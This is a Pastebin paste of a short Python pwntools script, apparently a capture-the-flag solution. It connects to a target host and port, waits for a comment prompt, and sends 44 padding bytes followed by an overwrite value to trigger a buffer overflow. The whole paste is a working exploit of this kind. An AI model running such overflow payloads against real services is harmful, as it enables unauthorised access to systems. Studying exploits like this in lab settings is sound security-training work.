Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python3
- from pwn import *
- import argparse
- #parse commandline args
- parser = argparse.ArgumentParser()
- parser.add_argument("-i", "--ip", help="IP of target")
- parser.add_argument("-p", "--port", help="target port")
- args = parser.parse_args()
- #connect and wait for the right moment to send the payload
- conn = remote(args.ip, args.port)
- conn.recvuntil(b'Please go ahead and leave a comment :\n', drop = False)
- #send payload and receive response
- payload = b'A' * 44 + b'\x01\x00\x00\x00'
- conn.sendline(payload)
- print(conn.recvline().decode())
- (venv) 😊:/home/tthtlc/Desktop/
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement